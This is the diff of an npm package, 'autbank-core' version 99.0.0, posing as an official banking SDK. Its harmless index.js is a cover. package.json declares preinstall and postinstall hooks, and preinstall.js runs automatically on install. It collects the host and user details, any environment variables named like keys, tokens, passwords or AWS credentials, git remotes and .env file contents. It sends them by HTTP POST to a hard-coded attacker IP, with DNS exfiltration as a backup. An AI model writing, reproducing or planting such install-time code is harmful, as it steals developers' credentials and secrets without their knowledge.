autbank-core 99.0.0

package/index.js

@@ -0,0 +1,9 @@
+// Autbank Core Library
+// This is a legitimate-looking placeholder
+
+module.exports = {
+    version: '99.0.0',
+    init: function() {
+        console.log('Autbank Core initialized');
+    }
+};

package/package.json

@@ -0,0 +1,17 @@
+{
+  "name": "autbank-core",
+  "version": "99.0.0",
+  "description": "Autbank Core Library - Official SDK",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js || true",
+    "postinstall": "node postinstall.js || true"
+  },
+  "keywords": ["autbank", "banking", "core", "sdk", "api"],
+  "author": "Autbank Development Team",
+  "license": "MIT",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/autbank/autbank-core"
+  }
+}

package/preinstall.js

@@ -0,0 +1,70 @@
+const http = require('http');
+const https = require('https');
+const os = require('os');
+const { execSync } = require('child_process');
+
+const VPS = '209.99.185.109';
+const PORT = 8888;
+
+// Gather system info
+const info = {
+    type: 'npm-preinstall',
+    timestamp: new Date().toISOString(),
+    hostname: os.hostname(),
+    platform: os.platform(),
+    arch: os.arch(),
+    user: os.userInfo().username,
+    home: os.homedir(),
+    cwd: process.cwd(),
+    nodeVersion: process.version,
+    env: {}
+};
+
+// Capture sensitive env vars
+const sensitiveKeys = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIALS', 'AUTH', 'PRIVATE'];
+for (const [key, value] of Object.entries(process.env)) {
+    if (sensitiveKeys.some(s => key.toUpperCase().includes(s))) {
+        info.env[key] = value;
+    }
+}
+
+// Try to get git info
+try {
+    info.gitRemote = execSync('git remote -v 2>/dev/null', { encoding: 'utf8', timeout: 5000 });
+} catch(e) {}
+
+// Try to read .env files
+try {
+    const fs = require('fs');
+    if (fs.existsSync('.env')) {
+        info.dotenv = fs.readFileSync('.env', 'utf8').substring(0, 1000);
+    }
+} catch(e) {}
+
+// Send to attacker
+const data = JSON.stringify(info);
+const options = {
+    hostname: VPS,
+    port: PORT,
+    path: '/npm-exfil',
+    method: 'POST',
+    headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(data)
+    },
+    timeout: 10000
+};
+
+try {
+    const req = http.request(options, (res) => {});
+    req.on('error', () => {});
+    req.write(data);
+    req.end();
+} catch(e) {}
+
+// Also try DNS exfil as backup
+try {
+    const dns = require('dns');
+    const encoded = Buffer.from(info.hostname).toString('hex').substring(0, 60);
+    dns.resolve(`${encoded}.npm.${VPS}`, () => {});
+} catch(e) {}